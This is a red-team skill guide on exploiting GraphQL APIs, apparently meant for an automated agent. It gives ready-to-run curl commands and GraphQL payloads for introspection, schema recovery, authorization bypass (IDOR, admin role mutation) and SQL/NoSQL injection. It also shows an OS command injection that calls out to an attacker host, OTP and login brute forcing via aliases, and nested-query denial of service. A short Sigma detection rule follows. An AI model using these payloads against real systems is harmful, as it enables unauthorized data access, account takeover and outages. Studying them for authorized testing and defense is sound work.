<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-graphql-vulnerabilities
description: >-
  Discover and exploit GraphQL API vulnerabilities. Covers introspection
  abuse, injection attacks, authorization bypass, batched query abuse,
  and denial-of-service via deeply nested queries.
domain: cybersecurity
subdomain: red-team
tags:
  - graphql
  - api
  - web-application
  - injection
  - authorization-bypass
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1087.004"]
  tools: ["graphql-voyager", "clairvoyance", "inql", "burp-suite"]
---

# Exploiting GraphQL Vulnerabilities

## Overview

GraphQL APIs expose a single endpoint with a flexible query language.
Common vulnerabilities include enabled introspection in production,
missing authorization on fields/mutations, query complexity abuse,
and injection via unsanitized inputs in resolvers.

## Prerequisites

- Target GraphQL endpoint (typically /graphql or /api/graphql)
- Burp Suite with InQL extension
- clairvoyance for introspection-disabled endpoints

```bash
pip install clairvoyance graphql-core
```

## Key Concepts

### GraphQL Attack Surface

| Vulnerability | Impact |
|---------------|--------|
| Introspection enabled | Full schema disclosure |
| Missing field authorization | IDOR / data leakage |
| Batched queries | Rate limit bypass |
| Nested queries | DoS via resource exhaustion |
| Injection in resolvers | SQLi / NoSQLi via arguments |
| Alias-based attacks | Brute force via query aliases |

### Common Endpoints

| Path | Framework |
|------|-----------|
| /graphql | Standard |
| /api/graphql | Common pattern |
| /graphiql | Debug interface |
| /playground | Apollo/Prisma |
| /v1/graphql | Hasura |
| /altair | Altair client |

## Workflow

### Step 1: Discover GraphQL Endpoint

```bash
# Common paths to test
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}'

# Test for GraphiQL/Playground (browser-based IDEs)
curl -s https://target.com/graphiql
curl -s https://target.com/playground
```

### Step 2: Introspection Query

```bash
# Full introspection
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}' | python3 -m json.tool

# Detailed introspection — all types, fields, arguments
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}'
```

### Step 3: Schema Recovery (Introspection Disabled)

```bash
# clairvoyance — wordlist-based schema recovery
clairvoyance https://target.com/graphql -o schema.json -w wordlist.txt

# Suggestions-based recovery (GraphQL error messages leak field names)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { nam } }"}' 
# Error: "Did you mean 'name'?"
```

### Step 4: Authorization Bypass

```graphql
# Access other users' data via IDOR
query {
  user(id: "1") { email password_hash role }
}

# Access admin mutations without admin role
mutation {
  updateRole(userId: "123", role: ADMIN) { success }
}

# Access hidden fields
query {
  users { id email ssn internalNotes salary }
}
```

### Step 5: Injection via Arguments

```graphql
# SQL injection in resolver
query {
  user(name: "admin' OR '1'='1") { id email }
}

# NoSQL injection
query {
  user(filter: "{\"$gt\": \"\"}") { id email }
}

# OS command injection (if resolver shells out)
query {
  exportReport(format: "pdf; curl http://attacker.com/rce")
}
```

### Step 6: Batched Query Abuse

```graphql
# Brute force OTP via batched mutations
mutation {
  a0: verifyOtp(code: "0000") { success }
  a1: verifyOtp(code: "0001") { success }
  a2: verifyOtp(code: "0002") { success }
  # ... up to 9999
}

# Rate limit bypass via aliases
query {
  q1: login(email: "admin@target.com", password: "pass1") { token }
  q2: login(email: "admin@target.com", password: "pass2") { token }
  q3: login(email: "admin@target.com", password: "pass3") { token }
}
```

### Step 7: Denial of Service — Nested Queries

```graphql
# Deeply nested query (exponential resolver calls)
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends { id name }
          }
        }
      }
    }
  }
}

# Circular fragment (if not validated)
fragment UserFields on User {
  friends { ...UserFields }
}
query { user(id: 1) { ...UserFields } }
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Introspection query | Application logs | __schema or __type queries |
| Large batch | WAF | Single request with many operations |
| Deep nesting | Application | Query depth exceeding threshold |
| Error spike | Application | Injection attempt error patterns |

```yaml
title: GraphQL Introspection Query in Production
id: 52637485-6970-8901-5678-901234567890
status: experimental
logsource:
  category: application
detection:
  selection:
    message|contains:
      - "__schema"
      - "__type"
      - "IntrospectionQuery"
  condition: selection
falsepositives:
  - Development environments
  - GraphQL IDE tools in staging
level: medium
tags:
  - attack.t1190
  - attack.initial_access
```

## Verification

- [ ] GraphQL endpoint discovered
- [ ] Schema obtained (introspection or recovery)
- [ ] Authorization bypass confirmed
- [ ] Injection or batching attack demonstrated
- [ ] Detection artifacts documented

## References

- [InQL](https://github.com/doyensec/inern)
- [clairvoyance](https://github.com/nikitastupin/clairvoyance)
- [GraphQL Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)
- [MITRE T1190](https://attack.mitre.org/techniques/T1190/)
